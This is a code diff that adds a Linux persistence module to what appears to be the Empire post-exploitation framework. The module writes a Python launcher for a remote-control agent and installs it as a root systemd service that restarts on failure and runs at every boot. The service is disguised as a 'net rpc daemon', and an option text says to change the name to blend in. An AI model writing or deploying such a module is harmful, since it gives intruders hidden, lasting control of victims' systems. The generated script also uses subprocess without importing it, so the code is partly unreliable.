diff --git a/lib/modules/python/persistence/multi/systemd.py b/lib/modules/python/persistence/multi/systemd.py
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+from lib.common import helpers
+
+
+class Module:
+
+    def __init__(self, mainMenu, params=[]):
+
+        # metadata info about the module, not modified during runtime
+        self.info = {
+            # name for the module that will appear in module menus
+            'Name': 'Linux Persistent Service - systemd',
+
+            # list of one or more authors for the module
+            'Author': ['@michaellongii'],
+
+            # more verbose multi-line description of the module
+            'Description': 'Installs an Empire launcher as a persistent systemd service that is executed at startup.',
+
+            # True if the module needs to run in the background
+            'Background': False,
+
+            # File extension to save the file as
+            # no need to base64 return data
+            'OutputExtension': None,
+
+            # if the module needs administrative privileges
+            'NeedsAdmin' : True,
+
+            # True if the method doesn't touch disk/is reasonably opsec safe
+            'OpsecSafe': False,
+
+            # the module language
+            'Language' : 'python',
+
+            # the minimum language version needed
+            'MinLanguageVersion' : '2.6',
+
+            # list of any references/other comments
+            'Comments': ['https://attack.mitre.org/techniques/T1050/']
+        }
+
+        # any options needed by the module, settable during runtime
+        self.options = {
+            # format:
+            #   value_name : {description, required, default_value}
+            'Agent' : {
+                # The 'Agent' option is the only one that MUST be in a module
+                'Description'   :   'Agent to execute module on.',
+                'Required'      :   True,
+                'Value'         :   ''
+            },
+            'Listener' : {
+                'Description'   :   'Listener to use.',
+                'Required'      :   True,
+                'Value'         :   ''
+            },
+            'Remove' : {
+                'Description'   :   'Remove persistent service.',
+                'Required'      :   True,
+                'Value'         :   'false'
+            },
+            'ServiceFile' : {
+                'Description'   :   'Filename for the systemd service configuration file located in /etc/systemd/system/.',
+                'Required'      :   True,
+                'Value'         :   'netrpcd.service'
+            },
+            'ServiceDescription' : {
+                'Description'   :   'Description of service; change this as needed to blend in with the environment.',
+                'Required'      :   True,
+                'Value'         :   'net rpc daemon'
+            },
+            'PayloadFile' : {
+                'Description'   :   'Absolute path to file containing launcher payload.',
+                'Required'      :   True,
+                'Value'         :   '/usr/sbin/net.rpcd'
+            },
+            'RestartDelay' : {
+                'Description'   :   'Seconds before restarting service on failure.',
+                'Required'      :   True,
+                'Value'         :   '5'
+            }
+
+        }
+
+        # save off a copy of the mainMenu object to access external functionality
+        #   like listeners/agent handlers/etc.
+        self.mainMenu = mainMenu
+
+        # During instantiation, any settable option parameters
+        #   are passed as an object set to the module and the
+        #   options dictionary is automatically set. This is mostly
+        #   in case options are passed on the command line
+        if params:
+            for param in params:
+                # parameter format is [Name, Value]
+                option, value = param
+                if option in self.options:
+                    self.options[option]['Value'] = value
+
+    def generate(self, obfuscate=False, obfuscationCommand=""):
+        listenerName = self.options['Listener']['Value']        
+        launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='python')
+        launcher = launcher.strip('echo').strip(' | /usr/bin/python &').strip("\"")
+        remove = self.options['Remove']['Value']
+        serviceFile = self.options['ServiceFile']['Value']
+        serviceDescription = self.options['ServiceDescription']['Value']
+        payloadFile = self.options['PayloadFile']['Value']
+        serviceDelay = self.options['RestartDelay']['Value']
+        serviceConfig = """[Unit]
+Description=%s
+After=network.target \\n
+[Service]
+Restart=always
+RestartSec=%s
+ExecStart=/bin/sh %s \\n
+[Install]
+WantedBy=multi-user.target
+""" % (serviceDescription, serviceDelay, payloadFile)
+        script = """
+import os
+import sys
+remove = "%s"
+serviceName = "%s"
+serviceFile = "/etc/systemd/system/" + serviceName
+payloadFile = "%s"
+serviceConfig = \"\"\"
+%s
+\"\"\"
+launcher = "%s"
+
+# Cleanup sequence; stop persistent service and remove associated files 
+if remove == "true":
+    # Prevent persistent service from executing at system startup
+    try:
+        procH = subprocess.Popen(['systemctl', 'disable', serviceName], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
+        stdout, stderr = procH.communicate()
+        print "[+] Disabling persistent service."
+    except Exception as e:
+        print "[-] ", e
+
+    # Delete service configuration file located in /etc/systemd/system/
+    try:
+        os.remove(serviceFile)
+        print "[+] Deleted ", serviceFile
+    except Exception as e:
+        print "[-] ", e
+
+    # Delete payload/launcher file located in /usr/sbin/
+    try:
+        os.remove(payloadFile)
+        print "[+] Deleted ", payloadFile
+    except Exception as e:
+        print "[-] ", e
+    
+    # reload daemon configuration to flush lingering persistent service messages
+    try:
+        procH = subprocess.Popen(['systemctl', 'daemon-reload'], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
+        stdout, stderr = procH.communicate()
+        print "[+] Reloading daemon configuration"
+    except Exception as e:
+        print "[-] ", e
+
+else:
+    # create launcher file
+    try:
+        fH = open(payloadFile,'w')
+        data = 'python -c "' + launcher + '"'
+        fH.write(data)
+        fH.close()
+        print "[+] Created launcher file: ", payloadFile
+    except Exception as e:
+        print "[-] ", e
+
+    # create service configuration file
+    try:
+        fH = open(serviceFile,'w')
+        fH.write(serviceConfig)
+        fH.close()
+        print "[+] Created service configuration file: ", serviceFile
+    except Exception as e:
+        print "\\n[-] ", e
+
+    # reload daemon configuration
+    try:
+        procH = subprocess.Popen(['systemctl', 'daemon-reload'], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
+        procH.communicate()
+        print "[+] Reloading daemon configuration."
+    except Exception as e:
+        print "[-] ", e
+
+    # start service
+    try:
+        procH = subprocess.Popen(['systemctl', 'start', serviceName], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
+        stdout, stderr = procH.communicate()
+        print "[+] Starting service."
+    except Exception as e:
+        print "[-] ", e
+
+    # configure service to execute at system startup
+    try:
+        procH = subprocess.Popen(['systemctl', 'enable', serviceName], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
+        stdout, stderr = procH.communicate()
+        print "[+] Setting service to start at system boot."
+    except Exception as e:
+        print "[-] ", e
+
+""" % (remove, serviceFile, payloadFile, serviceConfig, launcher)
+        return script